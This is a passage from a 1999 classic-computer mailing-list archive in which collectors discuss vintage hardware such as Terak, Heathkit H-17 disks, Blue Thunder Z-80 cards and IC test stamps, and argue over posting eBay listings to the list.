Terak, from the UW surplus sale. At 08:07 PM 1/20/99 -0500, Doug wrote: > >And the Terak was a PDP-11/03 with >a bitmapped display around 1979/1980 IIRC. They were quite popular at >UCSD and UCI, at least. I can't find my reference at the moment, but I think the founders told me they built the first Teraks in 1976. The first few years weren't megapixel machines, though. The easily customizable font and graphics abilities of the Terak lent itself to the editing of Russian, Hebrew and Chinese. It also had CAD packages long before they landed on PCs. - John From jfoust at threedee.com Thu Jan 21 08:41:14 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: References: <36A6C666.851A4CBE@rain.org> Message-ID: <3.0.5.32.19990121084114.00d17dd0@pc> At 01:47 AM 1/21/99 -0500, Doug wrote: >On Wed, 20 Jan 1999, Good Samaritan wrote: > >> Neat item here, and there is also a photo of the Module. >> >> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=56733792 > >OK, since Marvin obviously feels compelled, nay, Destined, to advertise >for eBay, I feel compelled to dissect this particular example to describe >why this is such a Bad Idea. > >Thanks so much for this fine service, Marvin. To me, it's a Good Idea because I don't have the time or inclination at this time to browse eBay's lists on a regular basis. Maybe I just don't have the Itch yet. 99.5% of the time so far, I've been merely curious about the items mentioned. I'm sure most others within the sound of my voice are the same way - we're not going to bid. So I guess the problem is that Information Wants To Be Free, and the Internet Will Liberate Us, and Shopping Online is Phun, and all that, except when its efficiency seems to work against you. Look on the bright side: if it weren't for the Net, eBay and this list, fewer people would be offering these sorts of goods, and most of us would never hear about them. - John From cfandt at netsync.net Thu Jan 21 09:07:27 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:22 2005 Subject: Blue Thunder Z-80 card software In-Reply-To: <3.0.1.16.19990121084814.3e87a626@intellistar.net> References: <000001be4535$f53c3720$5982fea9@mycroft> Message-ID: <4.1.19990121094752.00b172e0@206.231.8.2> At 08:48 AM 1/21/99 +0000, Joe wrote: >Aaarrgghhh! I threw one away a few years ago because I couldn't get the >software for it. I think you're the only person that I know that has heard >of one. > > Joe > >At 07:02 AM 1/21/99 -0500, Bob Stek wrote: >>Does anyone have the software for a Blue Thunder Z-80 card for the PC ISA >>bus? I would like to get my hands on a copy. Well, I've heard of them Joe. Betcha Allison has heard of them too. Back "In The Olde Days" when product development was moved down from our soon-to-be-ex-parent company (Bausch &Lomb) we were still using a 2 MHz Z80 in our high-end product. This was about 1983 I think. Two Zilog development systems were sent down with all the other tools. They could not emulate the newer 4 MHz Z80 CPUs we were going to design with so we had to figure out something else. We could NOT afford the big prices asked for a Zilog, HP, Tek or Kontron development system (we were cast off on our own as a separate "profit center" during that early '80's recession before being bought by a German company in Jan. '85. Sink or swim, as it were.) The Blue Thunder products were released around then and that seemed to be our solution! We started getting the then-new Zenith Z150 series PCs and Blue Thunders to use as Z80 development platforms. Today, I have one of the old Zilog devel. systems, couple of the Z150's and a couple of Blue Thunders in my collection. And as for you Bob, I do have the software. Now, since we recently moved (and you folks have heard me say this before), I have to hunt through a houseful of boxes to find just where the h*** the danged stuff is. :) Email me privately. Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From william at ans.net Thu Jan 21 09:16:15 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:22 2005 Subject: RS-6000 external cables, new - no second mrtgage req'd In-Reply-To: <36A650F6.D7F8E897@bigfoot.com> Message-ID: > Dalco has RS-6000 cables that have the IBM mini 60 centronics to an SCSI > 50 centronics now for $18.50 instead of the usual $45 each or more. You > can see the item at I think RCS/RI can beat that price! I think we have about five of the things. Lots of other RS/6000 parts, too. Yes, this was just a blantant commercial...but we need money. William Donzelli william@ans.net From steverob at hotoffice.com Thu Jan 21 09:17:17 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes Message-ID: <01BE4527.39CF98A0.steverob@hotoffice.com> Didn't realize 5 1/4" DD were getting hard to find. I threw out about 25k a couple of months ago. If you need some, let me know. I'm sure there are more here, somewhere...? Steve Robertson - -----Original Message----- From: James L. Rice [SMTP:jrice@texoma.net] Sent: Wednesday, January 20, 1999 11:38 PM To: Discussion re-collecting of classic computers Subject: Re: FYI: MEI/Microcenter is out of 5-1/4" diskettes My Amigas and my classic Macs as well as several Tandy's use the DD disks, so i buy all I can find. I've bought a lot recently at consignment store for about $1-2 for a box of 10. I think I have about 2k in stock now. James "Zane H. Healy" wrote: > > >I have been stocking up for the past three years. I have about 10k > >stored. Also 720k disks are not as easy to find anymore, so I've been > >gather a supply of those also. For my NeXT I scored a few boxes of > >2.88's recently. > > As I understand it the Amiga software industry is in a bit of a crisis at > the moment because 3.5" DD floppies are no longer being made. Well, > they're also in a bit of a crisis thanks to the idiots running Amiga, Inc. > killing the market last spring when it will be quite a while before the new > Amiga is ready to ship. > > Zane > > | Zane H. Healy | UNIX Systems Adminstrator | > | healyzh@aracnet.com (primary) | Linux Enthusiast | > | healyzh@holonet.net (alternate) | Classic Computer Collector | > +----------------------------------+----------------------------+ > | Empire of the Petal Throne and Traveller Role Playing, | > | and Zane's Computer Museum. | > | http://www.dragonfire.net/~healyzh/ | From william at ans.net Thu Jan 21 09:24:26 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:22 2005 Subject: IMSAI/586 [ Re: Multiuser computing invented! ] In-Reply-To: <199901210143.AA18518@world.std.com> Message-ID: > I think it's dynamic processor like the 8080 so there is a minimum clock > that is likley a few Mhz. Many of the faster CPUs these days have PLLs up front, so the minimum clock speed may be a a function of the PLLs locking window. The 68332 had (has, as I think it is still being made) a very interesting feature - if the crystal fails (stops oscillating), the PLL will still keep going and generate an interupt telling you that your crystal has died! Just do not trust what the timers on the chip say, as that PLL will tend to drift... William Donzelli william@ans.net From jhfine at idirect.com Thu Jan 21 09:46:09 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes References: <01BE4527.39CF98A0.steverob@hotoffice.com> Message-ID: <36A74BC1.80F31EAA@idirect.com> >Steve Robertson wrote: > Didn't realize 5 1/4" DD were getting hard to find. I threw out about 25k a couple of months ago. > > If you need some, let me know. I'm sure there are more here, somewhere...? Jerome Fine replies: While 25k would be far too many, I often use them to transfer small files from a PDP-11 running RT-11 to a PC running RT-11. Normally, I have to re-cycle them although I would prefer to keep a copy as a backup. I likely use about 100 a year, so 1k would last me forever. But even a couple of hundred would be a BIG help. Sincerely yours, Jerome Fine From marvin at rain.org Thu Jan 21 10:01:00 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:22 2005 Subject: Hard Sector Disks References: <4.1.19990121091228.00b04400@206.231.8.2> Message-ID: <36A74F3C.F74E6936@rain.org> Christian Fandt wrote: > > > Q: What system other than North Star used hard sectored 10 sector disks? > > Heath H-8 and H-89 computers. That would be the H-17 disk format. Both CP/M > and HDOS ran on these machines. Soft-sector format was the H-37. My understanding from they guy I got an H-8 from was that both hard and soft sector disks were used. In this case, it started out with the hard sectored disks, and then a conversion was added to change to the soft sectors. I have no idea though of what the timing was as to when the soft sector conversion became available. From jdykstra at nortelnetworks.com Thu Jan 21 09:45:46 1999 From: jdykstra at nortelnetworks.com (John Dykstra) Date: Sun Feb 27 18:40:22 2005 Subject: Looking for pointers to old Control Data software Message-ID: <3.0.5.32.19990121094546.00932ad0@47.161.112.121> Gary Oliver wrote: > Does anyone on this list have pointers to old Control Data software, > specifically 7 track tapes (yes I can read these) and possibly > documentation (though I do have many of the old user manuals.) > I've tried contacting the lastest version of CDC and they offer no help > whatsoever. My guess is that Control Data Systems doesn't have any 3600 software, anyway. When I worked there in the 1980's, there were no 3600 systems left in the building (although the prototype 7600 was still on the test floor). It's also been a long time since they were supporting any 3600 customers. There might be some software in a corporate archive someplace, but Ceridian is as likely to have ended up with it as Control Data Systems. In either case, they'd probably only pull something from the archive if it was for company purposes. You might have better luck with universities that had 3600 machines. Michigan State was one of them; email me privately and I'll pass on a contact there. Purdue and Northwestern are other possibilities. Re reading old tapes, the following is hearsay, but it sounds plausible to me. Old tapes have a tendency to shed bits of oxide. If that oxide lodges on the heads or tape guides, and if the tape speed is high, friction may generate enough heat to permanently damage the tape and also the heads. Thus, it is prudent to carefully clean the tape before trying to read it. ---- John Dykstra jdykstra@nortelnetworks.com Principal Software Architect voice: +1 651 415-1604 Nortel Networks fax: +1 612 932-8549 From rigdonj at intellistar.net Thu Jan 21 09:58:23 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:22 2005 Subject: Free Stuff! Message-ID: <3.0.1.16.19990121095823.2c9f82a2@intellistar.net> I found two Corvus Systems PC Bus Transporter cards that fit 8 bit ISA slot. I don't need them. Anyone can have them for the cost of shipping. Joe From cfandt at netsync.net Thu Jan 21 10:41:30 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:22 2005 Subject: Hard Sector Disks In-Reply-To: <36A74F3C.F74E6936@rain.org> References: <4.1.19990121091228.00b04400@206.231.8.2> Message-ID: <4.1.19990121114020.00b1ab80@206.231.8.2> At 08:01 AM 1/21/99 -0800, Marvin wrote: >Christian Fandt wrote: >> > >> > Q: What system other than North Star used hard sectored 10 sector disks? >> >> Heath H-8 and H-89 computers. That would be the H-17 disk format. Both CP/M >> and HDOS ran on these machines. Soft-sector format was the H-37. > >My understanding from they guy I got an H-8 from was that both hard and soft >sector disks were used. In this case, it started out with the hard sectored >disks, and then a conversion was added to change to the soft sectors. I >have no idea though of what the timing was as to when the soft sector >conversion became available. Do you have an H-17 or H-37 drive system? --Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From dogas at leading.net Thu Jan 21 10:46:01 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module Message-ID: <01be455d$874d0780$f9c962cf@devlaptop> -----Original Message----- From: John Foust >So I guess the problem is that Information Wants To Be Free, and the >Internet Will Liberate Us, and Shopping Online is Phun, and all that, >except when its efficiency seems to work against you. Look on the >bright side: if it weren't for the Net, eBay and this list, fewer >people would be offering these sorts of goods, and most of us would >never hear about them. Maybe... One of the cool components of the hobby is FINDING the bargain. These announcements do nothing but raise the prices eventually paid for these items. I guess that makes sense if your already sitting on a cache of Altairs and 5100s and are happily watching prices go through the roof. I'd do everything I could to help that little market develop... And *anyone* who's not afraid of the stale breath of satan can go to ebay and search for 'old computers'. Ok, I promise to say no more on this subject... wait.... Anyone see these pictures of Marvin's wife at http:\\... *just kidding* ;) - Mike: dogas@leading.net From spc at armigeron.com Thu Jan 21 10:52:10 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:22 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <802566FF.00594B60.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 20, 99 04:17:57 pm Message-ID: <199901211652.LAA20673@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 632 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/8eb3dfe7/attachment.ksh From jfoust at threedee.com Thu Jan 21 11:03:15 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: <01be455d$874d0780$f9c962cf@devlaptop> Message-ID: <3.0.5.32.19990121110315.00cc96c0@pc> At 11:46 AM 1/21/99 -0500, wrote: > >Maybe... One of the cool components of the hobby is FINDING the bargain. >These announcements do nothing but raise the prices eventually paid for >these items. Of course. Finding bargains is fun. Recognizing gems in the rough amidst a sea of PC clones in a warehouse os sale items is fun. Relatively few items find their way to eBay, in the grand scheme of things. This is a tempest only if you live in the eBay teapot. I do not recall any reports of yard-sale Altairs with signs saying "Just $4000, 20% less than eBay." - John From jpl15 at netcom.com Thu Jan 21 11:10:49 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:22 2005 Subject: E-bay trauma Message-ID: E-bay: Protectionism or laissez-faire... an old, old debate. I personally *hate* e-bay for No Good Reason, and choose not to participate... not the least Bad Reason of which is my own financial health. I buy enough Stuff via the Net as it is. But that's just Me. Philsophically... E-bay is Capitalistic and Darwinistic. One can rail against the concept or embrace it. C'est la Vie. I spent some years in the Electronic/Aerospace surplus business, and I have been in thousands of auctions of every type. It's like This: Ya win some, an' Ya lose some. I know exactly, precisely how it is to have counted every penny one has to put on something Really Really desireable, only to be outdone at the last moment by some schmuck with deeper pockets. And of course, I've been that schmuck, too. E-bay is a 'public' forum, ie. access is not restricted. This is a 'private' list (sorta), and is (lightly) regulated; I am violating those regs right now. What the crux of Dougs' and Marvin's contretemps [where's all this Francais coming from...?] is the Morality of providing a 'heads-up' to this List of an item on e-bay which might be of interest to one or more listmembers. My tuppence: If I find a nice juicy PDP-11 system for sale, I will either buy it myself, and crow about it here afterwards, or pass on it and announce it here for others to consider. Then, IMHO, the same situation obtains: someone will be successful and the others will be dissappointed. C'est la Vie X2. I see no difference if the Item is languishing on a lonely loading dock or represented on a public auction forum. Private Note to Doug and Marv: Could you please patch this up prior to TRW Saturday (the 30th)??? I'm buying lunch for everyone in the group (after the T-hunt) and I'd like to eat peacefully... ----> ;} <----- Cheerz John From Marty at itgonline.com Thu Jan 21 11:23:57 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:22 2005 Subject: MITS Sherwood Medical S-Twelve Message-ID: <1999Jan21.122314.1767.183612@smtp.itgonline.com> I take it from the lack of any responses that nobody has any info on MITS oem's? ______________________________ Reply Separator _________________________________ Subject: MITS Sherwood Medical S-Twelve Author: classiccmp@u.washington.edu at internet Date: 1/20/99 6:41 PM I don't remember if I asked for information on this computer before. I'm looking for any documentation or history of this Sherwood Medical computer. 'A Brunswick Company' is proudly proclaimed on the front panel adjacent to where it reads Sherwood Medical S-Twelve (which oem'd this MITS Altair for blood gas analysis). The Sherwood S-Twelve has eighteen slots, a heavy duty power supply and the following boards, all made but MITS: 8800 CPU BD REV 0 4K STATIC BOARD REV-2 X4 88-2 SIO REV 0 8K PROM BD REV 0- X2 INVERTER BD 88-IS SH REV 1 88 (SIOB) SERIAL TTL REV 1 MITS MODEM BD 88-MUX REV 1 MITS A/D CONVERTER REV 0 If you have any information about MITS 8800s sold to industry as in this case, please let me know. Thanks, Marty marty@itgonline ------ Message Header Follows ------ Received: from lists2.u.washington.edu by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan20.184119.1767.94103; Wed, 20 Jan 1999 18:41:20 -0500 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA05856; Wed, 20 Jan 1999 15:38:31 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA4 4800 for ; Wed, 20 Jan 1999 15:38:24 -0800 Received: from smtp.itgonline.com (smtp.itgonline.com [38.250.184.4]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id PAA273 43 for ; Wed, 20 Jan 1999 15:38:19 -0800 (PST) Received: from cc:Mail (PU Serial #1767) by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan20.183955.1767.183302; Wed, 20 Jan 1999 18:40:13 -0500 Message-Id: <1999Jan20.183955.1767.183302@smtp.itgonline.com> Date: Wed, 20 Jan 1999 18:40:13 -0500 Reply-To: classiccmp@u.washington.edu Sender: CLASSICCMP-owner@u.washington.edu Precedence: bulk From: Marty@itgonline.com (Marty) To: "Discussion re-collecting of classic computers" Subject: MITS Sherwood Medical S-Twelve Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" X-Conversion-ID: X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From jpero at cgocable.net Thu Jan 21 11:36:12 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:23 2005 Subject: E-bay trauma In-Reply-To: Message-ID: <199901211734.MAA29877@mail.cgocable.net> Date sent: Thu, 21 Jan 1999 09:10:49 -0800 (PST) Send reply to: classiccmp@u.washington.edu From: John Lawson To: "Discussion re-collecting of classic computers" Subject: E-bay trauma > health. I buy enough Stuff via the Net as it is. But that's just Me. Ditto here, I find some good deals by net and thanks to this beloved list that I was able to score few. :-) > My tuppence: If I find a nice juicy PDP-11 system for sale, I will > either buy it myself, and crow about it here afterwards, or pass on it > and announce it here for others to consider. Then, IMHO, the same > situation obtains: someone will be successful and the others will be > dissappointed. C'est la Vie X2. I see no difference if the Item is > languishing on a lonely loading dock or represented on a public > auction forum. Exactly! It's bad enough to trumpt there's one while someone is trying to score a deal but suddenly many come out of woodwork and bidding prices fly so high enough to knock off moon. Please! Keep it quiet and leave people to find it and when one score a deal then their choices to announce or whatever their preferances are. > John Jason D. From cdrmool at interlog.com Thu Jan 21 11:58:02 1999 From: cdrmool at interlog.com (Colan Mitchell) Date: Sun Feb 27 18:40:23 2005 Subject: Informer(terminal) modem problem In-Reply-To: <3.0.16.19990113171649.49d70f1e@ricochet.net> Message-ID: I have an Informer terminal (emulates vt100) that seems to be working o.k. except that when I dial out It rings once, twice, rarely three times and then reports no dial tone. The phone chord is fine. I thought that perhaps it wasn't making a connection with the socket so I did some wiggling around with it but to no avail. The manual that came with it is actually wrong about the machine in terms of how to enter setup for the modem, and I have no idea what the modem speed is so that is a problem as well. I assumed first 300 bps and it initialized but still the problem with the loss of dial tone. It also initialized at 1200 but the same problem. This is from 1983 so I figured it was probably 1200, maybe 2400, but I don't know. I tried it on tone AND pulse, but nothing either way. The modem is not removable as its basically the bulk of the electronics. It does offer a serial port which I will try but don't have an external modem on hand. Any idea why the loss of a dial tone? TIA colan From marvin at rain.org Thu Jan 21 12:01:43 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:23 2005 Subject: Ebay Posts was Re: Ebay: Very Old IBM Model 705 Tube-type Logic Module References: <01be455d$874d0780$f9c962cf@devlaptop> Message-ID: <36A76B87.F56FFC4F@rain.org> Mike wrote: > > Maybe... One of the cool components of the hobby is FINDING the bargain. > These announcements do nothing but raise the prices eventually paid for > these items. I guess that makes sense if your already sitting on a cache of > Altairs and 5100s and are happily watching prices go through the roof. I'd > do everything I could to help that little market develop... On the other side of that coin, if I were trying to attempt to gain a fortune in computers now, I would do everything I could to stop the free flow of information. Yes, I do have a sizeable collection of computers, etc. Yes, it is gaining in value. Yes, I still get *given* computers that are worth money. And no, they are not for sale although I will occasionally do trades. One thing I find interesting is that I rarely find anyone talking about their finds on ebay; why not? So far, the "share the information" people continue to outnumber the "keep it a secret so I can benefit" people on this list. If ebay is the only source of computers for some people, they need to work at developing other sources rather than try to stop the sharing of information. At any rate, I choose not to participate further in these discussions about the "morality" of posting to this list items for sale on ebay as they are pointless and do nothing to *promote* this hobby. I will continue to post items that *I* think might be interesting to members of this list. From ddameron at earthlink.net Thu Jan 21 09:44:39 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:23 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <199901211652.LAA20673@armigeron.com> References: <802566FF.00594B60.00@WESTD90.pgen.co.uk> Message-ID: <3.0.6.16.19990121094439.238724b0@earthlink.net> At 11:52 AM 1/21/99 -0500, you wrote: >It was thus said that the Great Philip.Belben@pgen.com once stated: >> >> I'd like to define it in terms of SI units, but the Kilogram is not too >> easy (yet). > > Really? The meter is defined (certain frequency of light from a certain >element for so many waves yada yada). Sea level is defined (don't know the >SI unit, but 780 millibars of pressure). Celcius is defined (0 is freezing >point of pure water at sea level, 100 boiling point of pure water at sea >level) and that's all you need to define the gram: one cubic centimeter of >water at 4C at sea level. That also gets you volume (liters). > I thought length, mass (Kilogram), and time (seconds) were picked as the basic SI units, and others, like temperature, were "secondary". For electromagnetics, a 4'th unit was required, sometimes an ampere (which can be defined from mechanical variables), sometimes charge. -Dave From ddameron at earthlink.net Thu Jan 21 09:55:36 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:23 2005 Subject: Ink stamp on 1970s IC's. In-Reply-To: <4.1.19990121085014.00af4670@206.231.8.2> References: <3.0.6.16.19990120190737.282ff5dc@earthlink.net> Message-ID: <3.0.6.16.19990121095536.2387163a@earthlink.net> At 09:09 AM 1/21/99 -0500, Chris wrote: >At 07:07 PM 1/20/99 +0000, you wrote: >>Hi all, >>I have seen several plastic DIP IC's from the 1970's have a white ink stamp >>on them that >>say something like "ETC 4" on them. (Your number may vary) Most are Intel >>RAM's, but some are Signetics or National TTL. Before I have seen them on >>chips on boards, but have now bought a bunch of IC's new in tubes which also >>have this stamp. >>Has anyone else seen this and know what it means? > >This is probably a mark from a company who tested the IC. Back in those >days, third-party outfits would often "burn-in" ICs before the company who >purchased them received them. The ICs were put under correct the correct >supply voltages and left in a closed chamber for many hours (24, 36, 72? It >varied.) Some IC distributors offered this extra cost service. It helped >make sure the chip would not fail prematurely when the end item was in >customer's hands. At Bausch & Lomb, when my ex-employer was still a >division of them, we had even the TTL and old RTL/DTL chips burned-in, not >just the expensive RAM, CPUs, etc. Some products from other B&L divisions >were used in medical labs and opthalmic labs and needed to be quite >reliable. Our division's products, used in an industrial environment, >benefited very nicely from tested ICs. > Thanks. This is what I guessed, and means the IC's have seen some third party testing company. Some 2102 rams that I had bought "new" in tubes and some from Godbout (S-100 memory cards) have the "ETC" stamp, so their supplier had already gotten them this way, vs. direct from Intel. Have seen the red enamel dots on IC packages as well, usually TTL. -Dave From allisonp at world.std.com Thu Jan 21 12:20:29 1999 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:40:23 2005 Subject: Ink stamp on 1970s IC's. In-Reply-To: <3.0.6.16.19990121095536.2387163a@earthlink.net> Message-ID: ETC was an outside test house in the 70s when customers didn't trust vendors or needed outside help to support their internal QC.. > Thanks. This is what I guessed, and means the IC's have seen some third > party testing company. Some 2102 rams that I had bought "new" in tubes and > some from Godbout (S-100 memory cards) have the "ETC" stamp, so their > supplier had already gotten them this way, vs. direct from Intel. > Have seen the red enamel dots on IC packages as well, usually TTL. > -Dave Other makrs were vendow dependant. The lead one mark was often color coded for speed select (NEC RAM and CPU parts for example). Other uses were batch marks or lot id's. Allison From jpero at cgocable.net Thu Jan 21 12:22:12 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:23 2005 Subject: (IBM) PC RTproblems In-Reply-To: <3.0.6.16.19990121095536.2387163a@earthlink.net> References: <4.1.19990121085014.00af4670@206.231.8.2> Message-ID: <199901211820.NAA29603@mail.cgocable.net> I just finally got around to borrow a TTL monitor and tried out the RT 6151. It did boot off the disk but one thing I have problem with this is rapidly blinking "99" even the keyboard lock is in unlocked position. That happened when booting off the diskette I have here. Checked the microswitch all the way to the motherboard connector end. It's ok! Thanks! Jason D. From marvin at rain.org Thu Jan 21 12:23:33 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:23 2005 Subject: Hard Sector Disks References: <4.1.19990121091228.00b04400@206.231.8.2> <4.1.19990121114020.00b1ab80@206.231.8.2> Message-ID: <36A770A5.DE6F9359@rain.org> Christian Fandt wrote: > > >My understanding from they guy I got an H-8 from was that both hard and soft > >sector disks were used. In this case, it started out with the hard sectored > >disks, and then a conversion was added to change to the soft sectors. I > >have no idea though of what the timing was as to when the soft sector > >conversion became available. > > Do you have an H-17 or H-37 drive system? I have the H-17. What is the H-37 as I don't recognize it by that number? I have other two cases, one with dual full height 5 1/4" drives and the other with dual 8" drives, but I don't know the model number at the moment. From dogas at leading.net Thu Jan 21 12:26:57 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:23 2005 Subject: Ebay Posts was Re: Ebay: Very Old IBM Model 705 Tube-type Logic Module Message-ID: <01be456b$a10aa840$f9c962cf@devlaptop> Ok... add 'lying' to conniving sniviling wheez... From: Marvin >On the other side of that coin, if I were trying to attempt to gain a >fortune in computers now, I would do everything I could to stop the free >flow of information. I guess by this, you mean buying computers now? And, the free flow of that information would never make it into this backwater tributary were it not for the duct system you've implemented. ok, ok... I know... enough.. - Mike:dogas@leading.net From dogas at leading.net Thu Jan 21 12:28:48 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:23 2005 Subject: Hard Sector Disks Message-ID: <01be456b$e33d1180$f9c962cf@devlaptop> > >I have the H-17. What is the H-37 as I don't recognize it by that number? >I have other two cases, one with dual full height 5 1/4" drives and the >other with dual 8" drives, but I don't know the model number at the moment. The one with the 8" are the H27, I think... - Mike: dogas@leading.net From dastar at ncal.verio.com Thu Jan 21 12:46:13 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:23 2005 Subject: OT: Re: Is again re: PDP-8 on e-bay In-Reply-To: <4.1.19990121091757.00b12c00@206.231.8.2> Message-ID: On Thu, 21 Jan 1999, Christian Fandt wrote: > This sounds like my wife for sure. Should see her 'rationalize' getting > something at a department store on sale though she's bought something like > it already for a similar price several months previous. (Uh, sorry > Allison, Megan, et al :-) :-) :-) ) ^^^^^ Uh oh, now you've done it. > Regards, Chris (who has little closet space left now), husband of Imelda > Marcos' understudy . . . Oh yeah? That's nothing. My wife is channeling the conscience of Imelda Marcos directly! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Thu Jan 21 13:09:25 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:23 2005 Subject: Informer(terminal) modem problem In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Colan Mitchell wrote: > I have an Informer terminal (emulates vt100) that seems to be working > o.k. except that when I dial out It rings once, twice, rarely three times > and then reports no dial tone. The phone chord is fine. I thought that Well, if its supposed to be looking for dialtone, then why is the line ringing up to three times? Unless you're saying it actually does dial the number, then the line rings a couple times, then the modem returns a response of "NO DIALTONE"? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From SUPRDAVE at aol.com Thu Jan 21 13:06:53 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:23 2005 Subject: (IBM) PC RTproblems Message-ID: <10421fa5.36a77acd@aol.com> In a message dated 1/21/99 1:23:18 PM EST, jpero@cgocable.net writes: > I just finally got around to borrow a TTL monitor and tried out the RT > 6151. It did boot off the disk but one thing I have problem with this > is rapidly blinking "99" even the keyboard lock is in unlocked > position. That happened when booting off the diskette I have here. > > Checked the microswitch all the way to the motherboard connector > end. It's ok! > > Thanks! somewhere in command central i have a list of all the checkpoint codes for the RT but i cannot find it right now. 99 means missing boot files IIRC. david From jpero at cgocable.net Thu Jan 21 13:26:20 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:23 2005 Subject: (IBM) PC RTproblems In-Reply-To: <10421fa5.36a77acd@aol.com> Message-ID: <199901211924.OAA11557@mail.cgocable.net> Date sent: Thu, 21 Jan 1999 14:06:53 EST Send reply to: classiccmp@u.washington.edu From: SUPRDAVE@aol.com To: "Discussion re-collecting of classic computers" Subject: Re: (IBM) PC RTproblems > somewhere in command central i have a list of all the checkpoint codes for the > RT but i cannot find it right now. 99 means missing boot files IIRC. Hmm... but I tried both boot disk and the diagnostic disk. Same thing. Heads go back and forth reading and booting up with several codes popping up on LED displays then that same rapid flashing "99". Jason D. > > david > From marvin at rain.org Thu Jan 21 13:26:53 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:23 2005 Subject: Hard Sector Disks References: <01be456b$e33d1180$f9c962cf@devlaptop> Message-ID: <36A77F7D.C98E4570@rain.org> Mike wrote: > > > > >I have the H-17. What is the H-37 as I don't recognize it by that number? > >I have other two cases, one with dual full height 5 1/4" drives and the > >other with dual 8" drives, but I don't know the model number at the moment. > > The one with the 8" are the H27, I think... The only thing I could see without a major rearranging was a number H-207-40 on what appears to be the shipping box it came in. I don't recall anything in the Heathkit line about an H-89, so I am not sure what this thing is. Thanks for the H-27 number, and I'll check for that. From cfandt at netsync.net Thu Jan 21 13:29:28 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:23 2005 Subject: Hard Sector Disks In-Reply-To: <36A770A5.DE6F9359@rain.org> References: <4.1.19990121091228.00b04400@206.231.8.2> <4.1.19990121114020.00b1ab80@206.231.8.2> Message-ID: <4.1.19990121140450.00b211c0@206.231.8.2> At 10:23 AM 1/21/99 -0800, Marvin wrote: >Christian Fandt wrote: >> >> >My understanding from they guy I got an H-8 from was that both hard and soft >> >sector disks were used. In this case, it started out with the hard sectored >> >disks, and then a conversion was added to change to the soft sectors. I >> >have no idea though of what the timing was as to when the soft sector >> >conversion became available. >> >> Do you have an H-17 or H-37 drive system? > >I have the H-17. What is the H-37 as I don't recognize it by that number? >I have other two cases, one with dual full height 5 1/4" drives and the >other with dual 8" drives, but I don't know the model number at the moment. The H37 system was soft sectored only and the box was styled to sort 